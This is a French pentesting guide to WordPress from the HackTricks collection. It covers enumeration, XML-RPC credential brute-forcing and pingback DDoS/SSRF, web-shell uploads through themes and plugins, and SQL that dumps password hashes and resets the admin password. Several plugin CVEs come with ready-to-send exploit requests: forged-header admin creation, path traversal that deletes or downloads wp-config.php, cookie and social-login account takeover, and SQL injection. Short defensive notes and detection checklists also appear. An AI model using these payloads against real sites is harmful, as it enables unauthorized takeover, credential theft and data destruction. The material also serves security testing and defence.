Wordpress
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Informations de base
-
Les fichiers Uploaded vont dans :
http://10.10.10.10/wp-content/uploads/2018/08/a.txt -
Les fichiers de thèmes se trouvent dans /wp-content/themes/, donc si vous modifiez du php du thème pour obtenir une RCE vous utiliserez probablement ce chemin. Par exemple : En utilisant theme twentytwelve vous pouvez accéder au fichier 404.php dans : /wp-content/themes/twentytwelve/404.php
-
Une autre URL utile pourrait être : /wp-content/themes/default/404.php
-
Dans wp-config.php vous pouvez trouver le mot de passe root de la base de données.
-
Chemins de login par défaut à vérifier : /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/
Principaux fichiers WordPress
index.phplicense.txtcontient des informations utiles comme la version de WordPress installée.wp-activate.phpest utilisé pour le processus d’activation par email lors de la création d’un nouveau site WordPress.- Dossiers de login (peuvent être renommés pour les cacher) :
/wp-admin/login.php/wp-admin/wp-login.php/login.php/wp-login.phpxmlrpc.phpest un fichier représentant une fonctionnalité de WordPress qui permet la transmission de données via HTTP en tant que mécanisme de transport et XML comme mécanisme d’encodage. Ce type de communication a été remplacé par le WordPress REST API.- Le dossier
wp-contentest le répertoire principal où sont stockés les plugins et les thèmes. wp-content/uploads/est le répertoire où sont stockés tous les fichiers uploadés sur la plateforme.wp-includes/est le répertoire où sont stockés les fichiers core, tels que certificats, polices, fichiers JavaScript, et widgets.wp-sitemap.xmlDans les versions de WordPress 5.5 et supérieures, WordPress génère un fichier sitemap XML avec tous les posts publics et les types de posts et taxonomies publiquement interrogeables.
Post exploitation
- Le fichier
wp-config.phpcontient les informations requises par WordPress pour se connecter à la base de données telles que le nom de la base, l’hôte de la base, le nom d’utilisateur et le mot de passe, les clés d’authentification et salts, et le préfixe des tables de la base. Ce fichier de configuration peut aussi être utilisé pour activer le mode DEBUG, ce qui peut être utile pour le troubleshooting.
Permissions des utilisateurs
- Administrator
- Editor : Publie et gère ses propres posts et ceux des autres
- Author : Publie et gère ses propres posts
- Contributor : Rédige et gère ses posts mais ne peut pas les publier
- Subscriber : Parcourt les posts et édite son profil
Passive Enumeration
Get WordPress version
Vérifiez si vous pouvez trouver les fichiers /license.txt ou /readme.html
Dans le source code de la page (exemple depuis https://wordpress.org/support/article/pages/):
- grep
curl https://victim.com/ | grep 'content="WordPress'
meta name
.png)
- Fichiers CSS (link)
.png)
- Fichiers JavaScript
.png)
Obtenir des plugins
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Récupérer les thèmes
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Extraire les versions en général
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Énumération active
Plugins and Themes
Vous n’arriverez probablement pas à trouver tous les Plugins and Themes possibles. Pour les découvrir, vous devrez effectuer activement un Brute Force d’une liste de Plugins and Themes (espérons pour nous qu’il existe des outils automatisés contenant ces listes).
Users
- ID Brute: Vous obtenez des utilisateurs valides d’un site WordPress en Brute Forcing les IDs des utilisateurs :
curl -s -I -X GET http://blog.example.com/?author=1
Si les réponses sont 200 ou 30X, cela signifie que l’id est valide. Si la réponse est 400, alors l’id est invalide.
- wp-json: Vous pouvez aussi essayer d’obtenir des informations sur les utilisateurs en interrogeant :
curl http://blog.example.com/wp-json/wp/v2/users
Un autre endpoint /wp-json/ qui peut révéler certaines informations sur les utilisateurs est :
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
Notez que cet endpoint n’expose que les utilisateurs qui ont publié un post. Seules les informations concernant les utilisateurs qui ont cette fonctionnalité activée seront fournies.
Notez aussi que /wp-json/wp/v2/pages pourrait leak des adresses IP.
- Login username enumeration : Lors de la connexion via
/wp-login.php, le message est différent selon qu’il indique que le username existe ou non.
XML-RPC
Si xml-rpc.php est actif, vous pouvez effectuer un brute-force de credentials ou l’utiliser pour lancer des attaques DoS vers d’autres ressources. (Vous pouvez automatiser ce processus using this par exemple).
Pour vérifier s’il est actif, essayez d’accéder à /xmlrpc.php et envoyez cette requête :
Vérifier
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

Credentials Bruteforce
wp.getUserBlogs, wp.getCategories ou metaWeblog.getUsersBlogs sont quelques-unes des méthodes pouvant être utilisées pour brute-force credentials. Si vous en trouvez une, vous pouvez envoyer quelque chose comme :
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>
Le message “Incorrect username or password” dans une réponse avec code 200 devrait apparaître si les identifiants ne sont pas valides.
 (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png)
.png)
Avec les bons identifiants vous pouvez téléverser un fichier. Dans la réponse le chemin apparaîtra (https://gist.github.com/georgestephanis/5681982)
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
Il existe aussi une méthode plus rapide pour brute-force des credentials en utilisant system.multicall, car vous pouvez essayer plusieurs credentials dans une seule requête :
.png)
Bypass 2FA
Cette méthode est destinée aux programmes et non aux humains, et est ancienne, donc elle ne supporte pas la 2FA. Donc, si vous avez des creds valides mais que l’accès principal est protégé par la 2FA, vous pourriez être capable d’abuser de xmlrpc.php pour vous connecter avec ces creds en contournant la 2FA. Notez que vous ne pourrez pas effectuer toutes les actions disponibles via la console, mais vous pourriez quand même obtenir une RCE comme l’explique Ippsec dans https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s
DDoS or port scanning
Si vous trouvez la méthode pingback.ping dans la liste vous pouvez faire en sorte que Wordpress envoie une requête arbitraire à n’importe quel host/port.
Cela peut être utilisé pour demander à des milliers de sites Wordpress d’accéder à un même emplacement (causant ainsi un DDoS à cet endroit) ou vous pouvez l’utiliser pour faire Wordpress scan un réseau interne (vous pouvez indiquer n’importe quel port).
<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>

Si vous obtenez faultCode avec une valeur supérieure à 0 (17), cela signifie que le port est ouvert.
Consultez l’utilisation de system.multicall dans la section précédente pour apprendre comment abuser de cette méthode afin de provoquer un DDoS.
DDoS
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>
.png)
wp-cron.php DoS
Ce fichier existe généralement à la racine du site Wordpress : /wp-cron.php
Lorsque ce fichier est accessed, une requête MySQL heavy est exécutée, il peut donc être utilisé par des attackers pour cause un DoS.
De plus, par défaut, le wp-cron.php est appelé à chaque chargement de page (anytime a client requests any Wordpress page), ce qui, sur des sites high-traffic, peut causer des problèmes (DoS).
Il est recommandé de désactiver Wp-Cron et de créer un véritable cronjob sur l’hôte qui exécutera les actions nécessaires à des intervalles réguliers (without causing issues).
/wp-json/oembed/1.0/proxy - SSRF
Try to access https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net et le site Wordpress peut effectuer une requête vers vous.
This is the response when it doesn’t work:
.png)
SSRF
https://github.com/t0gu/quickpress/blob/master/core/requests.go
Cet outil vérifie si le methodName: pingback.ping et le chemin /wp-json/oembed/1.0/proxy existent, et si c’est le cas, il tente de les exploiter.
Outils automatiques
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"
Obtenir l’accès en modifiant un bit
Plus une curiosité qu’une vraie attaque. Dans le CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man vous pouviez inverser 1 bit dans n’importe quel fichier wordpress. Ainsi vous pouviez inverser la position 5389 du fichier /var/www/html/wp-includes/user.php pour NOP l’opération NOT (!).
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
Panel RCE
Modification d’un php du thème utilisé (identifiants admin nécessaires)
Apparence → Éditeur de thème → Modèle 404 (à droite)
Remplacez le contenu par un php shell :
.png)
Cherchez sur Internet comment accéder à la page mise à jour. Dans ce cas, vous devez accéder ici : http://10.11.1.234/wp-content/themes/twentytwelve/404.php
MSF
Vous pouvez utiliser :
use exploit/unix/webapp/wp_admin_shell_upload
pour obtenir une session.
Plugin RCE
PHP plugin
Il peut être possible de téléverser des fichiers .php en tant que plugin.
Créez votre backdoor php en utilisant par exemple :
.png)
Puis ajoutez un nouveau plugin :
.png)
Téléversez le plugin et appuyez sur Install Now :
.png)
Cliquez sur Procced :
.png)
Probablement cela n’affichera rien apparemment, mais si vous allez dans Media, vous verrez votre shell téléversé :
.png)
Accédez-y et vous verrez l’URL pour exécuter le reverse shell :
.png)
Uploading and activating malicious plugin
Cette méthode implique l’installation d’un plugin malveillant connu pour être vulnérable et pouvant être exploité pour obtenir un web shell. Ce processus est réalisé via le WordPress dashboard comme suit :
- Acquisition du plugin: Le plugin est obtenu depuis une source comme Exploit DB, par exemple here.
- Installation du plugin:
- Allez dans le WordPress dashboard, puis allez à
Dashboard > Plugins > Upload Plugin. - Téléversez le fichier zip du plugin téléchargé.
- Activation du plugin: Une fois le plugin installé avec succès, il doit être activé via le dashboard.
- Exploitation:
- Avec le plugin “reflex-gallery” installé et activé, il peut être exploité car il est connu pour être vulnérable.
- Le framework Metasploit fournit un exploit pour cette vulnérabilité. En chargeant le module approprié et en exécutant des commandes spécifiques, une session meterpreter peut être établie, accordant un accès non autorisé au site.
- Il est noté qu’il s’agit juste d’une des nombreuses méthodes pour exploiter un site WordPress.
Le contenu inclut des aides visuelles décrivant les étapes dans le WordPress dashboard pour l’installation et l’activation du plugin. Cependant, il est important de noter qu’exploiter des vulnérabilités de cette manière est illégal et contraire à l’éthique sans autorisation appropriée. Ces informations doivent être utilisées de manière responsable et uniquement dans un contexte légal, comme des tests d’intrusion avec permission explicite.
For more detailed steps check: https://www.hackingarticles.in/wordpress-reverse-shell/
De XSS à RCE
- WPXStrike: WPXStrike est un script conçu pour escalader une vulnérabilité de Cross-Site Scripting (XSS) vers Remote Code Execution (RCE) ou d’autres vulnérabilités critiques dans WordPress. Pour plus d’infos consultez this post. Il prend en charge les versions de WordPress 6.X.X, 5.X.X et 4.X.X et permet de :
- Privilege Escalation: Crée un utilisateur dans WordPress.
- (RCE) Custom Plugin (backdoor) Upload: Téléversez votre plugin personnalisé (backdoor) sur WordPress.
- (RCE) Built-In Plugin Edit: Éditer un plugin intégré dans WordPress.
- (RCE) Built-In Theme Edit: Éditer un thème intégré dans WordPress.
- (Custom) Custom Exploits: Exploits personnalisés pour des plugins/thèmes WordPress tiers.
Post Exploitation
Extraire les noms d’utilisateur et les mots de passe :
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
Changer le mot de passe admin :
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
Pentest des plugins Wordpress
Surface d’attaque
Comprendre comment un plugin Wordpress peut exposer des fonctionnalités est essentiel pour trouver des vulnérabilités. Vous pouvez trouver comment un plugin pourrait exposer des fonctionnalités dans les points suivants et quelques exemples de plugins vulnérables dans this blog post.
wp_ajax
L’un des moyens pour un plugin d’exposer des fonctions aux utilisateurs est via des gestionnaires AJAX. Ceux-ci peuvent contenir des bugs de logique, d’autorisation ou d’authentification. De plus, il est assez fréquent que ces fonctions basent à la fois l’authentification et l’autorisation sur l’existence d’un nonce Wordpress que tout utilisateur authentifié sur l’instance Wordpress pourrait posséder (indépendamment de son rôle).
Voici les fonctions qui peuvent être utilisées pour exposer une fonction dans un plugin :
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
L’utilisation de nopriv rend l’endpoint accessible à tous les utilisateurs (même les utilisateurs non authentifiés).
Caution
De plus, si la fonction vérifie seulement l’autorisation de l’utilisateur avec la fonction
wp_verify_nonce, cette fonction vérifie uniquement que l’utilisateur est connecté, elle ne vérifie généralement pas le rôle de l’utilisateur. Donc des utilisateurs peu privilégiés pourraient avoir accès à des actions réservées aux utilisateurs à privilèges élevés.
- REST API
Il est également possible d’exposer des fonctions de wordpress en enregistrant une REST API en utilisant la fonction register_rest_route :
register_rest_route(
$this->namespace, '/get/', array(
'methods' => WP_REST_Server::READABLE,
'callback' => array($this, 'getData'),
'permission_callback' => '__return_true'
)
);
Le permission_callback est une fonction de rappel qui vérifie si un utilisateur donné est autorisé à appeler la méthode API.
Si la fonction intégrée __return_true est utilisée, elle contournera simplement la vérification des permissions utilisateur.
- Accès direct au fichier php
Bien sûr, Wordpress utilise PHP et les fichiers à l’intérieur des plugins sont directement accessibles depuis le web. Donc, si un plugin expose une fonctionnalité vulnérable qui est déclenchée simplement en accédant au fichier, cela sera exploitable par n’importe quel utilisateur.
Usurpation REST via trusted-header (WooCommerce Payments ≤ 5.6.1)
Certains plugins implémentent des raccourcis “trusted header” pour des intégrations internes ou des reverse proxies, puis utilisent cet en-tête pour définir le contexte utilisateur courant pour les requêtes REST. Si l’en-tête n’est pas lié cryptographiquement à la requête par un composant en amont, un attaquant peut le falsifier et atteindre des routes REST privilégiées en tant qu’administrateur.
- Impact : élévation de privilèges non authentifiée jusqu’au rôle admin en créant un nouvel administrateur via la core users REST route.
- Example header:
X-Wcpay-Platform-Checkout-User: 1(force l’ID utilisateur 1, typiquement le premier compte administrateur). - Route exploitée :
POST /wp-json/wp/v2/usersavec un tableau de rôle élevé.
PoC
POST /wp-json/wp/v2/users HTTP/1.1
Host: <WP HOST>
User-Agent: Mozilla/5.0
Accept: application/json
Content-Type: application/json
X-Wcpay-Platform-Checkout-User: 1
Content-Length: 114
{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}
Pourquoi cela fonctionne
- Le plugin mappe un header contrôlé par le client à l’état d’authentification et saute les capability checks.
- WordPress core attend la capability
create_userspour cette route ; le hack du plugin la bypass en définissant directement le contexte de l’utilisateur courant à partir du header.
Expected success indicators
- HTTP 201 avec un body JSON décrivant l’utilisateur créé.
- Un nouvel utilisateur admin visible dans
wp-admin/users.php.
Detection checklist
- Grep pour
getallheaders(),$_SERVER['HTTP_...'], ou des vendor SDKs qui lisent des headers custom pour définir le contexte utilisateur (par ex.,wp_set_current_user(),wp_set_auth_cookie()). - Revoir les REST registrations pour des callbacks privilégiés qui n’ont pas de vérifications robustes de
permission_callbacket qui se fient à la place aux headers de la requête. - Chercher les usages des fonctions core de gestion d’utilisateurs (
wp_insert_user,wp_create_user) dans des handlers REST qui sont protégés uniquement par des valeurs de header.
Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0)
WordPress themes et plugins exposent fréquemment des AJAX handlers via les hooks wp_ajax_ et wp_ajax_nopriv_. Quand la variante nopriv est utilisée le callback devient accessible aux visiteurs non authentifiés, donc toute action sensible doit en plus implémenter :
- Un capability check (par ex.
current_user_can()ou au minimumis_user_logged_in()), et - Un CSRF nonce validé avec
check_ajax_referer()/wp_verify_nonce(), et - Assainissement / validation stricte des entrées.
Le thème multipurpose Litho (< 3.1) a oublié ces 3 contrôles dans la fonctionnalité Remove Font Family et a fini par livrer le code suivant (simplifié) :
function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
return;
}
$fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] );
$upload_dir = wp_upload_dir();
$srcdir = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily;
$filesystem = Litho_filesystem::init_filesystem();
if ( file_exists( $srcdir ) ) {
$filesystem->delete( $srcdir, FS_CHMOD_DIR );
}
die();
}
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
Problèmes introduits par cet extrait :
- Accès non authentifié – le
wp_ajax_nopriv_hook est enregistré. - Pas de vérification du nonce / capability – n’importe quel visiteur peut atteindre l’endpoint.
- Pas de sanitisation du chemin – la chaîne contrôlée par l’utilisateur
fontfamilyest concaténée à un chemin du système de fichiers sans filtrage, permettant le classique parcours../../.
Exploitation
Un attaquant peut supprimer n’importe quel fichier ou répertoire sous le répertoire de base des uploads (normalement <wp-root>/wp-content/uploads/) en envoyant une seule requête HTTP POST :
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'
Parce que wp-config.php se trouve en dehors de uploads, quatre séquences ../ suffisent sur une installation par défaut. La suppression de wp-config.php force WordPress à lancer l’assistant d’installation lors de la visite suivante, permettant une prise de contrôle complète du site (l’attaquant fournit simplement une nouvelle configuration DB et crée un utilisateur admin).
D’autres cibles impactantes incluent les fichiers .php de plugins/themes (pour neutraliser des plugins de sécurité) ou les règles .htaccess.
Checklist de détection
- Tout callback
add_action( 'wp_ajax_nopriv_...')qui appelle des fonctions d’accès au système de fichiers (copy(),unlink(),$wp_filesystem->delete(), etc.). - Concaténation d’entrées utilisateur non assainies dans des chemins (rechercher
$_POST,$_GET,$_REQUEST). - Absence de
check_ajax_referer()et decurrent_user_can()/is_user_logged_in().
Escalade de privilèges via restauration de rôle obsolète et absence d’autorisation (ASE “View Admin as Role”)
Beaucoup de plugins implémentent une fonctionnalité “view as role” ou de changement temporaire de rôle en sauvegardant le(s) rôle(s) original(aux) dans les user meta afin de pouvoir les restaurer plus tard. Si le chemin de restauration s’appuie uniquement sur des paramètres de requête (par ex. $_REQUEST['reset-for']) et sur une liste maintenue par le plugin sans vérifier les capabilities et un nonce valide, cela devient une escalade verticale de privilèges.
Un exemple réel a été trouvé dans le plugin Admin and Site Enhancements (ASE) (≤ 7.6.2.1). La branche de reset restaurait les rôles basés sur reset-for=<username> si le nom d’utilisateur apparaissait dans un tableau interne $options['viewing_admin_as_role_are'], mais n’effectuait ni vérification current_user_can() ni vérification de nonce avant de supprimer les rôles actuels et de réajouter les rôles sauvegardés dans les user meta _asenha_view_admin_as_original_roles :
// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
$reset_for_username = sanitize_text_field( $_REQUEST['reset-for'] );
$usernames = get_option( ASENHA_SLUG_U, [] )['viewing_admin_as_role_are'] ?? [];
if ( in_array( $reset_for_username, $usernames, true ) ) {
$u = get_user_by( 'login', $reset_for_username );
foreach ( $u->roles as $role ) { $u->remove_role( $role ); }
$orig = (array) get_user_meta( $u->ID, '_asenha_view_admin_as_original_roles', true );
foreach ( $orig as $r ) { $u->add_role( $r ); }
}
}
Pourquoi c’est exploitable
- Se fie à
$_REQUEST['reset-for']et à une option du plugin sans autorisation côté serveur. - Si un utilisateur avait auparavant des privilèges plus élevés enregistrés dans
_asenha_view_admin_as_original_roleset a été rétrogradé, il peut les restaurer en accédant au chemin de reset. - Dans certains déploiements, tout utilisateur authentifié pouvait déclencher un reset pour un autre nom d’utilisateur encore présent dans
viewing_admin_as_role_are(autorisation défaillante).
Exploitation (exemple)
# While logged in as the downgraded user (or any auth user able to trigger the code path),
# hit any route that executes the role-switcher logic and include the reset parameter.
# The plugin uses $_REQUEST, so GET or POST works. The exact route depends on the plugin hooks.
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>'
Sur les builds vulnérables, cela supprime les rôles actuels et ré-ajoute les rôles originaux sauvegardés (par ex., administrator), escaladant ainsi les privilèges.
Detection checklist
- Recherchez des fonctionnalités de changement de rôle qui conservent les “original roles” dans le user meta (par ex.,
_asenha_view_admin_as_original_roles). - Identifier les chemins de reset/restore qui :
- Lisent des noms d’utilisateur depuis
$_REQUEST/$_GET/$_POST. - Modifient les rôles via
add_role()/remove_role()sanscurrent_user_can()etwp_verify_nonce()/check_admin_referer(). - Autorisent sur la base d’un tableau d’options de plugin (par ex.,
viewing_admin_as_role_are) au lieu des capacités de l’acteur.
Unauthenticated privilege escalation via cookie‑trusted user switching on public init (Service Finder “sf-booking”)
Certains plugins raccordent des helpers de changement d’utilisateur au hook public init et dérivent l’identité d’un cookie contrôlé par le client. Si le code appelle wp_set_auth_cookie() sans vérifier l’authentification, la capability et un nonce valide, tout visiteur non authentifié peut forcer la connexion en tant qu’ID utilisateur arbitraire.
Typical vulnerable pattern (simplified from Service Finder Bookings ≤ 6.1):
function service_finder_submit_user_form(){
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
$user_id = intval( sanitize_text_field($_GET['switch_user']) );
service_finder_switch_user($user_id);
}
if ( isset($_GET['switch_back']) ) {
service_finder_switch_back();
}
}
add_action('init', 'service_finder_submit_user_form');
function service_finder_switch_back() {
if ( isset($_COOKIE['original_user_id']) ) {
$uid = intval($_COOKIE['original_user_id']);
if ( get_userdata($uid) ) {
wp_set_current_user($uid);
wp_set_auth_cookie($uid); // 🔥 sets auth for attacker-chosen UID
do_action('wp_login', get_userdata($uid)->user_login, get_userdata($uid));
setcookie('original_user_id', '', time() - 3600, '/');
wp_redirect( admin_url('admin.php?page=candidates') );
exit;
}
wp_die('Original user not found.');
}
wp_die('No original user found to switch back to.');
}
Pourquoi c’est exploitable
- Le hook public
initrend le handler accessible aux utilisateurs non authentifiés (pas de gardeis_user_logged_in()). - L’identité est dérivée d’un cookie modifiable par le client (
original_user_id). - Un appel direct à
wp_set_auth_cookie($uid)connecte le requérant en tant que cet utilisateur sans aucune vérification de capability/nonce.
Exploitation (sans authentification)
GET /?switch_back=1 HTTP/1.1
Host: victim.example
Cookie: original_user_id=1
User-Agent: PoC
Connection: close
Considérations WAF pour les CVE de WordPress/plugin
Les WAF génériques pour edge/serveur sont configurés pour des motifs larges (SQLi, XSS, LFI). De nombreuses vulnérabilités WordPress/plugin à fort impact sont des bugs de logique/authentification spécifiques à l’application qui ressemblent à du trafic bénin à moins que le moteur ne comprenne les routes WordPress et la sémantique des plugins.
Offensive notes
- Ciblez les endpoints spécifiques aux plugins avec des payloads propres :
admin-ajax.php?action=...,wp-json/<namespace>/<route>, gestionnaires de fichiers personnalisés, shortcodes. - Testez d’abord les chemins non authentifiés (AJAX
nopriv, REST avec permissivepermission_callback, shortcodes publics). Les payloads par défaut réussissent souvent sans obfuscation. - Cas typiques à fort impact : privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.
Defensive notes
- Ne comptez pas sur des signatures WAF génériques pour protéger les CVE de plugins. Mettez en place des correctifs virtuels spécifiques à la vulnérabilité au niveau applicatif ou mettez à jour rapidement.
- Privilégiez des contrôles en mode sécurité positive dans le code (capabilities, nonces, validation stricte des entrées) plutôt que des filtres négatifs basés sur des regex.
Protection de WordPress
Mises à jour régulières
Assurez-vous que WordPress, les plugins et les thèmes sont à jour. Vérifiez aussi que la mise à jour automatique est activée dans wp-config.php:
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
De plus, n’installez que des plugins et thèmes WordPress fiables.
Plugins de sécurité
Autres recommandations
- Supprimez l’utilisateur par défaut admin
- Utilisez des mots de passe forts et 2FA
- Périodiquement revoyez les autorisations des utilisateurs
- Limitez les tentatives de connexion pour prévenir les attaques Brute Force
- Renommez le fichier
wp-admin.phpet n’autorisez l’accès qu’en interne ou depuis certaines adresses IP.
Unauthenticated SQL Injection via insufficient validation (WP Job Portal <= 2.3.2)
Le plugin de recrutement WP Job Portal exposait une tâche savecategory qui exécute finalement le code vulnérable suivant dans modules/category/model.php::validateFormData() :
$category = WPJOBPORTALrequest::getVar('parentid');
$inquery = ' ';
if ($category) {
$inquery .= " WHERE parentid = $category "; // <-- direct concat ✗
}
$query = "SELECT max(ordering)+1 AS maxordering FROM "
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
Problèmes introduits par cet extrait :
- Unsanitised user input –
parentidprovient directement de la requête HTTP. - String concatenation inside the WHERE clause – pas d’
is_numeric()/esc_sql()/ requête préparée. - Unauthenticated reachability – bien que l’action soit exécutée via
admin-post.php, la seule vérification en place est un CSRF nonce (wp_verify_nonce()), que n’importe quel visiteur peut récupérer depuis une page publique incorporant le shortcode[wpjobportal_my_resumes].
Exploitation
- Récupérer un nonce récent :
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
- Injecter du SQL arbitraire en abusant de
parentid:
curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'task=savecategory' \
-d '_wpnonce=<nonce>' \
-d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id='
La réponse divulgue le résultat de la requête injectée ou modifie la base de données, prouvant la présence d’une SQLi.
Téléchargement arbitraire de fichiers sans authentification / Path Traversal (WP Job Portal <= 2.3.2)
Une autre tâche, downloadcustomfile, permettait aux visiteurs de télécharger n’importe quel fichier sur le disque via path traversal. Le sink vulnérable est situé dans modules/customfield/model.php::downloadCustomUploadedFile() :
$file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output
$file_name est contrôlé par l’attaquant et concaténé sans assainissement. Encore une fois, la seule protection est un CSRF nonce qui peut être récupéré depuis la resume page.
Exploitation
curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'task=downloadcustomfile' \
--data-urlencode '_wpnonce=<nonce>' \
--data-urlencode 'upload_for=resume' \
--data-urlencode 'entity_id=1' \
--data-urlencode 'file_name=../../../wp-config.php'
Le serveur renvoie le contenu de wp-config.php, leaking DB credentials and auth keys.
Unauthenticated account takeover via Social Login AJAX fallback (Jobmonster Theme <= 4.7.9)
De nombreux thèmes/plugins fournissent des helpers de “social login” exposés via admin-ajax.php. Si une action AJAX non authentifiée (wp_ajax_nopriv_…) fait confiance à des identifiants fournis par le client lorsque les données du provider sont absentes, puis appelle wp_set_auth_cookie(), cela devient un full authentication bypass.
Schéma défaillant typique (simplifié)
public function check_login() {
// ... request parsing ...
switch ($_POST['using']) {
case 'fb': /* set $user_email from verified Facebook token */ break;
case 'google': /* set $user_email from verified Google token */ break;
// other providers ...
default: /* unsupported/missing provider – execution continues */ break;
}
// FALLBACK: trust POSTed "id" as email if provider data missing
$user_email = !empty($user_email)
? $user_email
: (!empty($_POST['id']) ? esc_attr($_POST['id']) : '');
if (empty($user_email)) {
wp_send_json(['status' => 'not_user']);
}
$user = get_user_by('email', $user_email);
if ($user) {
wp_set_auth_cookie($user->ID, true); // 🔥 logs requester in as that user
wp_send_json(['status' => 'success', 'message' => 'Login successfully.']);
}
wp_send_json(['status' => 'not_user']);
}
// add_action('wp_ajax_nopriv_<social_login_action>', [$this, 'check_login']);
Pourquoi c’est exploitable
- Accessible sans authentification via admin-ajax.php (wp_ajax_nopriv_… action).
- Aucune vérification nonce/capability avant toute modification d’état.
- Absence de vérification du provider OAuth/OpenID ; la branche par défaut accepte l’entrée de l’attaquant.
- get_user_by(‘email’, $_POST[‘id’]) suivi de wp_set_auth_cookie($uid) authentifie le requérant comme n’importe quelle adresse e-mail existante.
Exploitation (sans authentification)
- Prérequis : l’attaquant peut atteindre /wp-admin/admin-ajax.php et connaît/devine une adresse e-mail d’utilisateur valide.
- Définir provider sur une valeur non supportée (ou l’omettre) pour atteindre la branche par défaut et transmettre id=<victim_email>.
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: victim.tld
Content-Type: application/x-www-form-urlencoded
action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com
curl -i -s -X POST https://victim.tld/wp-admin/admin-ajax.php \
-d "action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com"
Expected success indicators
- HTTP 200 avec un corps JSON comme {“status”:“success”,“message”:“Login successfully.”}.
